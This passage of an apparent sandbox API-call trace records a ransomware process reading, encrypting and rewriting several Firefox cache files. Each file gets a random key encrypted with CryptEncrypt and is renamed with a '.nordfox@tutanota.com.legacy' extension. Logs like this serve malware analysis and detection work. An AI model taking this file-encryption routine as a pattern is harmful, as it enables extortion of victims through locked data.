(lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\47D194343D81BB87B63E3776058D0709ADA9FE0B", dwFileAttributes=0x80) returned 1 [0189.511] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30dbfe8 [0189.511] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0189.511] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\47D194343D81BB87B63E3776058D0709ADA9FE0B" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\47d194343d81bb87b63e3776058d0709ada9fe0b"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0189.512] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=47622) returned 1 [0189.512] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xba06) returned 0x30df058 [0189.512] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xba06) returned 0x2eeb018 [0189.512] ReadFile (in: hFile=0x1b80, lpBuffer=0x30df058, nNumberOfBytesToRead=0xba06, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df058*, lpNumberOfBytesRead=0x2e1f9bc*=0xba06, lpOverlapped=0x0) returned 1 [0189.634] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-47622, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.634] WriteFile (in: hFile=0x1b80, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0xba06, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0xba06, lpOverlapped=0x0) returned 1 [0189.634] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xba06 [0189.634] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0189.634] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dbdd8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dbdd8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0189.634] WriteFile (in: hFile=0x1b80, lpBuffer=0x30dbdd8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dbdd8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0189.635] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0189.635] CloseHandle (hObject=0x1b80) returned 1 [0189.635] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\47D194343D81BB87B63E3776058D0709ADA9FE0B" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\47d194343d81bb87b63e3776058d0709ada9fe0b"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\47D194343D81BB87B63E3776058D0709ADA9FE0B.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\47d194343d81bb87b63e3776058d0709ada9fe0b.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0189.658] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dcd50 | out: pbBuffer=0x30dcd50) returned 1 [0189.658] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0189.658] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4764521F6FB23F694297C1319251B844AE508AB7", dwFileAttributes=0x80) returned 1 [0189.658] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30dbcd0 [0189.658] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0189.658] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4764521F6FB23F694297C1319251B844AE508AB7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4764521f6fb23f694297c1319251b844ae508ab7"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0189.659] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1322) returned 1 [0189.659] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x52a) returned 0x619c48 [0189.659] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x52a) returned 0x30f3888 [0189.659] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x52a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x52a, lpOverlapped=0x0) returned 1 [0189.660] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1322, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.660] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f3888*, nNumberOfBytesToWrite=0x52a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesWritten=0x2e1f9bc*=0x52a, lpOverlapped=0x0) returned 1 [0189.660] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x52a [0189.660] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0189.660] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dcd50*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dcd50*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0189.660] WriteFile (in: hFile=0x1b80, lpBuffer=0x30dcd50*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dcd50*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0189.661] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0189.661] CloseHandle (hObject=0x1b80) returned 1 [0189.661] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4764521F6FB23F694297C1319251B844AE508AB7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4764521f6fb23f694297c1319251b844ae508ab7"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4764521F6FB23F694297C1319251B844AE508AB7.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4764521f6fb23f694297c1319251b844ae508ab7.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0189.662] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dcd50 | out: pbBuffer=0x30dcd50) returned 1 [0189.662] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0189.662] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\47005A21A17AFE54769573B5138702C9FB8E0E87", dwFileAttributes=0x80) returned 1 [0189.663] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30dbfe8 [0189.663] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0189.663] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\47005A21A17AFE54769573B5138702C9FB8E0E87" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\47005a21a17afe54769573b5138702c9fb8e0e87"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0189.663] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1236) returned 1 [0189.663] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4d4) returned 0x619c48 [0189.663] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4d4) returned 0x30f3888 [0189.663] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x4d4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x4d4, lpOverlapped=0x0) returned 1 [0189.736] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1236, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.736] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f3888*, nNumberOfBytesToWrite=0x4d4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4d4, lpOverlapped=0x0) returned 1 [0189.737] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4d4 [0189.737] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0189.737] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dcd50*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dcd50*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0189.737] WriteFile (in: hFile=0x1b80, lpBuffer=0x30dcd50*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dcd50*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0189.737] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0189.737] CloseHandle (hObject=0x1b80) returned 1 [0189.737] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\47005A21A17AFE54769573B5138702C9FB8E0E87" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\47005a21a17afe54769573b5138702c9fb8e0e87"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\47005A21A17AFE54769573B5138702C9FB8E0E87.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\47005a21a17afe54769573b5138702c9fb8e0e87.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0189.739] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dbac0 | out: pbBuffer=0x30dbac0) returned 1 [0189.739] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0189.739] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\46DBA23158169F447D071A5138BFF6E70402F9D1", dwFileAttributes=0x80) returned 1 [0189.740] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30dc930 [0189.740] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0189.740] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\46DBA23158169F447D071A5138BFF6E70402F9D1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\46dba23158169f447d071a5138bff6e70402f9d1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0189.740] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3741) returned 1 [0189.740] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe9d) returned 0x30f3888 [0189.740] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe9d) returned 0x30f4730 [0189.740] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xe9d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xe9d, lpOverlapped=0x0) returned 1 [0189.889] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3741, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.889] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4730*, nNumberOfBytesToWrite=0xe9d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4730*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe9d, lpOverlapped=0x0) returned 1 [0189.889] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe9d [0189.889] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0189.889] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dbac0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dbac0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0189.890] WriteFile (in: hFile=0x1b80, lpBuffer=0x30dbac0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dbac0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0189.890] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0189.890] CloseHandle (hObject=0x1b80) returned 1 [0189.890] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\46DBA23158169F447D071A5138BFF6E70402F9D1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\46dba23158169f447d071a5138bff6e70402f9d1"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\46DBA23158169F447D071A5138BFF6E70402F9D1.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\46dba23158169f447d071a5138bff6e70402f9d1.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0189.892] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dbbc8 | out: pbBuffer=0x30dbbc8) returned 1 [0189.892] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0189.892] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\45C64E5C2E9809667C5FC9F06FC42641326DF768", dwFileAttributes=0x80) returned 1 [0189.892] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30dbac0 [0189.892] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0189.892] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\45C64E5C2E9809667C5FC9F06FC42641326DF768" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\45c64e5c2e9809667c5fc9f06fc42641326df768"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0189.893] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1218) returned 1 [0189.893] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c2) returned 0x619c48 [0189.893] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c2) returned 0x30f3888 [0189.893] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x4c2, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x4c2, lpOverlapped=0x0) returned 1 [0190.096] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1218, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.096] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f3888*, nNumberOfBytesToWrite=0x4c2, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4c2, lpOverlapped=0x0) returned 1 [0190.096] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4c2 [0190.096] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0190.096] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dbbc8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dbbc8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0190.096] WriteFile (in: hFile=0x1b80, lpBuffer=0x30dbbc8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dbbc8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0190.097] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0190.097] CloseHandle (hObject=0x1b80) returned 1 [0190.097] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\45C64E5C2E9809667C5FC9F06FC42641326DF768" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\45c64e5c2e9809667c5fc9f06fc42641326df768"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\45C64E5C2E9809667C5FC9F06FC42641326DF768.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\45c64e5c2e9809667c5fc9f06fc42641326df768.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0190.099] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30db9b8 | out: pbBuffer=0x30db9b8) returned 1 [0190.099] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0190.099] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\45461427D6D9EC3BD8D179493325388E78C31FA4", dwFileAttributes=0x80) returned 1 [0190.099] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30dcd50 [0190.099] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0190.099] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\45461427D6D9EC3BD8D179493325388E78C31FA4" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\45461427d6d9ec3bd8d179493325388e78c31fa4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0190.100] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4409) returned 1 [0190.100] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1139) returned 0x30f3888 [0190.100] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1139) returned 0x30f49d0 [0190.100] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0x1139, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0x1139, lpOverlapped=0x0) returned 1 [0190.130] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4409, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.130] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f49d0*, nNumberOfBytesToWrite=0x1139, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f49d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1139, lpOverlapped=0x0) returned 1 [0190.130] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1139 [0190.130] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0190.130] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30db9b8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30db9b8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0190.131] WriteFile (in: hFile=0x1b80, lpBuffer=0x30db9b8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30db9b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0190.131] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0190.131] CloseHandle (hObject=0x1b80) returned 1 [0190.131] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\45461427D6D9EC3BD8D179493325388E78C31FA4" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\45461427d6d9ec3bd8d179493325388e78c31fa4"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\45461427D6D9EC3BD8D179493325388E78C31FA4.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\45461427d6d9ec3bd8d179493325388e78c31fa4.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0190.134] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dbdd8 | out: pbBuffer=0x30dbdd8) returned 1 [0190.134] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0190.134] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\445E695F447CA967C4DAE00C80034130290F80EA", dwFileAttributes=0x80) returned 1 [0190.134] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30db8b0 [0190.134] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0190.134] CreateFileW 